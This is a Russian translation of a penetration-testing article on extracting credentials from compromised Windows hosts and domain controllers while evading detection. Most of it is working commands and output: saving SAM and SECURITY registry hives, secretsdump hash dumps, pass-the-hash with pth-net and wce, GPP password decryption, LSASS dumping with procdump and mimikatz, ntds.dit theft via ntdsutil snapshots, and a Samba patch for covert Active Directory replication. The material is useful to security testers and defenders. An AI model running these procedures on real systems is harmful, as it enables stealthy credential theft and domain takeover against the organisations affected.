Во время пентестов мы часто оказываемся внутри систем на базе ОС Windows в поисках учетных записей. Цель этой статьи – изучить некоторые техники для получения информации об учетных записях Windows-систем, при этом оставаясь незаметным, насколько это возможно.
Автор: Себастьян Маке (Sebastien Macke, @lanjelot)
Введение
Во время пентестов мы часто оказываемся внутри систем на базе ОС Windows в поисках учетных записей. Цель этой статьи – изучить некоторые техники для получения информации об учетных записях Windows-систем, при этом оставаясь незаметным, насколько это возможно.
В основе всех этих техник лежит несколько базовых принципов:
- Безопасность – избежание любого выхода из строя системы посредством использования безопасных утилит и техник, которых сохранят систему в стабильном состоянии.
- Незаметность – избежание обнаружения утилитами и техниками, выводящими предупреждающие сообщения. Отказ от загрузки любых исполняемых файлов, отключения антивирусов и генерирования подозрительных записей в журнале событий.
- Эффективность – в этой статье будет рассказано только о самых эффективных техниках, зарекомендовавших себя на практике.
Выгрузка учетных записей с хоста на базе ОС Windows
Как только вы полностью скомпрометировали Windows-хост (то есть получили системные привилегии), ваш следующий шаг – получение информации о как можно большем числе учетных записей с этого хоста, поскольку эту информацию можно, к примеру, использовать для получения доступа ко всей сети. Кроме того, те же самые пароли могут использоваться для доступа к другим критически важным ресурсам.
Если скомпрометированный Windows-хост является частью домена, вашей целью будут привилегированные учетные записи домена или (что более предпочтительно) членство в группе администраторов домена.
Для выгрузки учетных записей с уже скомпрометированной системы можно использовать следующее приемы.
- Ветви реестра.
Скопируйте ветви реестра SYSTEM, SECURITY и SAM на свой локальный компьютер:
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
При помощи утилиты secretsdump извлеките из сохраненных ветвей локальные аккаунты, закешированные учетные записи домена и секретные ключи LSA:
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies
[*] Target system bootKey: 0x602e8c2947d56a95bf9cfad9e0bbbace
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
renadm:500:aad3b435b51404eeaad3b435b51404ee:3e24dcead23468ce597d6883c576f657:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
support:1000:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)
hdes:6ec74661650377df488415415bf10321:securus.corp.com:SECURUS:::
Administrator:c4a850e0fee5af324a57fd2eeb8dbd24:SECURUS.CORP.COM:SECURUS:::
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
...
- Локальные SAM-хеши
Подберите пароли к LM-хешам (если они есть) при помощи Ophcrack.
Подберите пароли к NT-хешам при помощи JtR и hashcat.
Помните, что даже если вы не сможете подобрать пароль к хешу, то можно использовать сам хеш для доступа к другим хостам и даже домену, где используется тот же самый пароль.
- Закешированные учетные записи домена
Это хеши учетных записей тех пользователей, которые уже прошли авторизацию на хосте. Пароли к этим хешам можно подобрать при помощи утилит JtR или hashcat. Не забудьте указать правильный формат: либо mscash (xp, w2k3), либо mscash2 (vista, w7, w2k8 …). Примечание: вы не можете использовать технику «pass-the-hash», используя этот вид хешей.
- Секретные ключи LSA
Здесь вы можете найти пароли учетных записей для служб, которые запускаются под существующими аккаунтами пользователей Windows (в отличие от Local System, Network Service и Local Service), пароли для автоматического входа и т. д.
Если Windows-хост является частью домена, вы найдете учетные записи домена, которые затем можно использовать для аутентификации на домене, вывода перечня пользователей и администраторов домена, просмотра общих ресурсов и т. д.
Использовать эти учетные записи можно при помощи утилиты pth, если вы работайте в Kali Linux или wce если вы работаете в Windows-системе.
$ pth-net rpc user -U 'securus\john-pc$%aad3b435b51404eeaad3b435b51404ee:
2fb3672702973ac1b9ade0acbdab432f' -S dc1.securus.corp.com
Administrator
hdes
...
Пароли на общих ресурсах и в контроллере домена в Group Policy Preferences (GPP) можно расшифровать:
C:\> wce.exe -s john-pc:securus:aad3b435b51404eeaad3b435b51404ee:2fb3672702973ac1b9ade0acbdab432f
C:\> findstr /S cpassword \\dc1.securus.corp.com\sysvol\*.xml
\\192.168.122.55\sysvol\securus.corp.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\
Preferences\Groups\Groups.xml: ="" description="" cpassword="1MJPOM4MqvDWWJq5IY
9nJqeUHMMt6N2CUtb7B/jRFPs" changeLogon="0" noChange="0" neverExpires="0"
acctDisabled="1" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/>
C:\> ruby gppdecrypt.rb 1MJPOM4MqvDWWJq5IY9nJqeUHMMt6N2CUtb7B/jRFPs
1q2w3e4r5t
- Учетные записи, находящиеся в оперативной памяти
Выгрузить пароли из памяти в чистом виде можно при помощи утилиты mimikatz, а при помощи Windows Task Manager можно сдампить процесс LSASS.
Для выгрузки процесса lsass.exe в файл в программе Task Manager кликните правой кнопкой на процессе «lsass.exe», а затем выберите «Create Dump File» (начиная с Vista). Также можно воспользоваться утилитой Procdump (для WinXP и более ранних версий ОС) или, в качестве альтернативы, powershell-fu (см. статью carnal0wnage):
C:\> procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp 2>&1
Затем учетные записи выгружаются из дампа при помощи mimikatz и его модуля minidump.
C:\> mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit
Примечание: удостоверьтесь в том, что mimikatz используется для той же самой платформы и архитектуры, на которой вы делали дамп (см. здесь).
Другой вариант: запуск на хосте утилиты wce, однако при этом вероятнее всего сработает антивирус (если он установлен на хосте). Обратите внимание, что wce-v1.41beta, кажется, не умеет выгружать пароли из внешних SMB-сессий (их список можно получить, если выполнить команду «net use» на скомпрометированном хосте), а mimikatz выгружает.
- Диспетчер учетных записей (Credential Manager)
Когда пользователь авторизуется на общем сетевом ресурсе, прокси-сервере или в клиентском программном обеспечение выставляет флажок «Remember my password», в этом случае, как правило, пароль хранится в зашифрованном виде с использованием Windows Data Protection API. Все зашифрованные аккаунты можно увидеть в диспетчере учетных записей (доступ к нему можно получить через раздел «Учетные записи пользователей» в Панели управления). Эту информацию можно сдампить при помощи утилиты Network Password Recovery. Обратите внимание, что на 64-битной архитектуре надо запускать 64-битную версию утилиты, иначе у вас ничего не получится.
- Защищенное хранилище
При помощи утилиты Protected Storage PassView вы можете выгрузить пароли, сохраненные в IE, Outlook или MSN.
- Программное обеспечение от сторонних разработчиков
Компания NirSoft предлагает множество утилит, которые помогают извлекать пароли, используемые в стороннем программном обеспечении.
Выгрузка из контроллера домена хешей пользователей домена
- Теневое копирование тома (Volume Shadow Copy)
Суть этой техники заключается в получении базы данных (файл ntds.dit) Active Directory из Службы каталога (Directory Service), которая запущена на контроллере домена. При этом злоумышленник должен в интерактивном режиме авторизоваться на контроллере домена через Remote Desktop или «psexec». Идея заключается в том, чтобы использовать теневое копирование тома для получения файла ntds.dit, который в противном случае заблокирован и защищен от чтения.
Для начала посмотрите на состояние службы теневого копирования тома. Если служба не запущена (хотя по умолчанию это не так), используйте ntdsutil или vssadmin, как показано ниже, чтобы запустить службу. Не забудьте вернуть ее в первоначальное состояние после совершения всех манипуляций.
Затем найдите местонахождение файла ntds.dit, используя параметр «DSA Database file»:
C:\> reg.exe query hklm\system\currentcontrolset\services\ntds\parameters
После этого проверьте текущий размер файла ntds.dit и свободное место на диске. Его должно быть как минимум в два раза больше, чем размер файла. Теперь, используя встроенную командную утилиту ntdsutil, создайте снимок базы данных Active Directory.
C:\> ntdsutil
ntdsutil: snapshot
snapshot: activate instance NTDS
Active instance set to "NTDS".
snapshot: list all
No snapshots found.
// If there is a recent snapshot (ie. backups scheduled with Windows Server Backup),
then consider using that instead of creating a new one.)
snapshot: create
Creating snapshot...
Snapshot set {ef026688-4c02-48b6-bc24-24df118eb7a2} generated successfully.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
snapshot: mount 2
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} mounted as C:\$SNAP_201310241833_VOLUMEC$\
Теперь загрузите файл на свою машину файл ntds.dit, находящийся в C:\$SNAP_201310241833_VOLUMEC$\Windows\NTDS\. Заодно прихватите ветвь реестра SYSTEM (например, так: reg.exe save HKLM\SYSTEM c:\system.save). После этого удалите копию ветви реестра и созданный снимок.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} C:\$SNAP_201310241833_VOLUMEC$\
snapshot: unmount 2
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} unmounted.
snapshot: list all
1: 2013/10/24:18:33 {ef026688-4c02-48b6-bc24-24df118eb7a2}
2: C: {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1}
snapshot: delete 1
Snapshot {5b8a2cd1-3f1a-4e32-8137-b8966699d2e1} deleted.
snapshot: ^C
Помимо ntdsutil вы также можете использовать встроенную утилиту vssadmin (как показано в этом howto), хотя vssadmin не создаст «единообразный» снимок, а ntdsutil лучше подходит для решения этой задачи. С другой стороны, если вы работаете с Windows 2003, то ntdsutil не сможет создать снимок, и в данном конкретном случае вам следует прибегнуть к использованию vssadmin.
Если ntds.dit поврежден, используйте встроенную утилиту esentutl для восстановления файла:
C:\> esentutl /p /o ntds.dit
Настало время выгрузить хеши паролей при помощи secretsdump:
$ secretsdump.py -system system.save -ntds ntds.dit LOCAL
Impacket v0.9.11-dev - Copyright 2002-2013 Core Security Technologies
[*] Target system bootKey: 0x24f65609994cdbec01b8b0b61cf6a332
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] Pek found and decrypted: 0xca47b3a8b3477cec0a774bed669c3d9f
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a881324bad161293dedc71817988d944:::
...
Вы также можете выгрузить историю паролей, используя опцию –history (начиная с версии r961).
- Репликация Active Directory (экспериментальная техника)
Эта техника более незаметная, чем теневое копирование тома, поскольку здесь не требуется создания снимка базы данных Active Directory, запуска службы VSS, и даже интерактивного входа в контроллер домена. Использовать репликацию предпочтительнее, если у администраторов отсутствуют Se* привилегии (SeCreateTokenPrivilege, SeAssignPrimaryTokenPrivilege и т. д.), полностью отключена служба VSS и ей подобные, запрещено создание новых служб и т. д.
Суть этой техники заключается в репликации базы данных Active Directory на вашу локальную систему. Обычно, репликация происходит при добавлении в домен нового контроллера домена, хотя, с другой стороны, подобная операция довольно заметна, поскольку создаются новые объекты внутри базы данных и остаются постоянные метки даже после удаления контроллер домена. Следовательно, нам нужно такая утилита, которая выполняет только репликацию и ничего более.
Насколько мне известно, пока не существует подобных инструментов для публичного пользования, однако об этой технике рассказывал Орельен Бордес (Aurelien Bordes) в своем коротком докладе «Fiabilisation d’outils» (дословно «инструменты надежности») перед конференцией SSTIC 2010, где продемонстрировал использование своей приватной утилиты.
Вместо написания собственной утилиты с нуля, мы можем просто модифицировать Samba для наших собственных целей, поскольку там уже реализована полная процедура добавления в домен контроллера домена. Наши изменения будут заключаться в том, чтобы отключить шаги, связанные с добавлением изменений в Active Directory, чтобы оставить только функцию репликации.
Ниже показан прекрасный патч для samba-4.1.0:
--- ./src/samba-4.1.0/python/samba/join.py 2013-11-17 04:08:05.393333375 +1100
+++ /usr/lib/python2.7/site-packages/samba/join.py 2013-11-17 04:29:22.209999075 +1100
@@ -1053,6 +1053,11 @@
ctx.nc_list = [ ctx.config_dn, ctx.schema_dn ]
ctx.full_nc_list = [ctx.base_dn, ctx.config_dn, ctx.schema_dn ]
+ ctx.ntds_guid = misc.GUID(ctx.samdb.schema_format_value(“objectGUID”,
‘\x84\xb9\xe6\xb1t[\xb3A\x9e\xcbkwvd2u')) # any GUID will do
+ ctx.join_provision()
+ ctx.join_replicate()
+ return
+
if not ctx.subdomain:
После установки патча, подготовьте вашу систему для выполнения репликации:
# rm -fr /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf
# echo nameserver 192.168.122.55 > /etc/resolv.conf # this is the IP address of the DC
Теперь запустите репликацию:
# samba-tool domain join securus.corp.com DC -U securus\\administrator%Bonjour1 --realm=securus.corp.com
Finding a writeable DC for domain 'securus.corp.com'
Found DC dc1.securus.corp.com
workgroup is SECURUS
realm is securus.corp.com
Calling bare provision
More than one IPv4 address found. Using 192.168.122.25
No IPv6 address will be assigned
Provision OK for domain DN DC=securus,DC=corp,DC=com
Starting replication
Did not manage to negotiate mandetory feature SIGN for dcerpc auth_level 6
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com] objects[1553] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[402] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[804] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=securus,DC=corp,DC=com] objects[1622] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=securus,DC=corp,DC=com] objects[100] linked_values[24]
Partition[DC=securus,DC=corp,DC=com] objects[347] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
Joined domain SECURUS (SID S-1-5-21-427569568-2812416765-2687365192) as a DC
Затем, используйте утилиту pdbedit (она идет в комплекте с Samba), чтобы сдампить NT-хеши локально:
# pdbedit -L -w
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:1C3383C792692C7B897A8CCF50ADE8F7:[U ]:LCT-529540CA:
hdes:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:833966FB79EE1554A3D4B900E9337FFD:[UX ]:LCT-528D7BA5:
Кажется, у Samba нет инструмента для выгрузки истории паролей или LM-хешей (если они присутствуют в контроллере домена), однако вы можете использовать простой python-скрипт samba-pwdump.py для их извлечения напрямую из базы данных LDB.
# ./samba-pwdump.py '/var/lib/samba/private/sam.ldb.d/DC=SECURUS,DC=CORP,DC=COM.ldb' -history
Administrator:500:43d119e8b3d8710bc2265b23734e0dac:a881324bad161293dedc71817988d944:::
jdoe:1111:b34ce522c3e4c877664345140a852f61:077cccc23f8ab7031726a3b70c694a49:::
jdoe_history0:1111:c23413a8a1e7665fccf9155e3e7db453:316c5ae8a7b5dfce4a5604d17d9e976e:::
Чтобы выяснить различия до и после репликации, я сравнил LDIF-экспорты из Root DSE и основные DN’ы (Distinguished name) в Active Directory.
#!/bin/bash
# dump Root DSE
ldapsearch -h 192.168.122.55 -x -D 'SECURUS\Administrator' -w Bonjour1 -b "" -s base 'objectclass=*'
# dump base DNs
contexts=('DC=securus,DC=corp,DC=com' 'CN=Configuration,DC=securus,DC=corp
,DC=com' 'CN=Schema,CN=Configuration,DC=securus,DC=corp,DC=com' 'DC=DomainDnsZones,
DC=securus,DC=corp,DC=com' 'DC=ForestDnsZones,DC=securus,DC=corp,DC=com')
for ctx in "${contexts[@]}"; do
ldapsearch -h 192.168.122.55 -x -D 'SECURUS\Administrator' -w Bonjour1 -b "$ctx" -s sub 'objectclass=*'
done
Единственные отличия – атрибуты logonCount и lastLogon учетной записи администратора домена, которые были увеличены и, соответственно, атрибут highestCommitedUSN в Root DSE также был увеличен. Однако во время репликации сгенерировались события «Directory Service Access» (event ID 4672) в журнале безопасности Windows (Windows Security log) из-за того, что был получен привилегированный доступ к Active Directory. Другие события также могут отобразиться, если доступны некоторые другие категории (4932, 4928 …). Кроме того, во время репликации не были добавлены никакие изменения в реестр.
Пожалуйста, помните о том, что эта техника экспериментальная. Тесты проводились в контроллере домена на базе Windows 2008 R2 SP1 со стороны хоста с Archlinux и пакетом samba-4.1.0-1 с установленным патчем, о котором говорилось выше.
Спасибо за внимание!
Подробнее: http://www.securitylab.ru/analytics/454682.php?R=1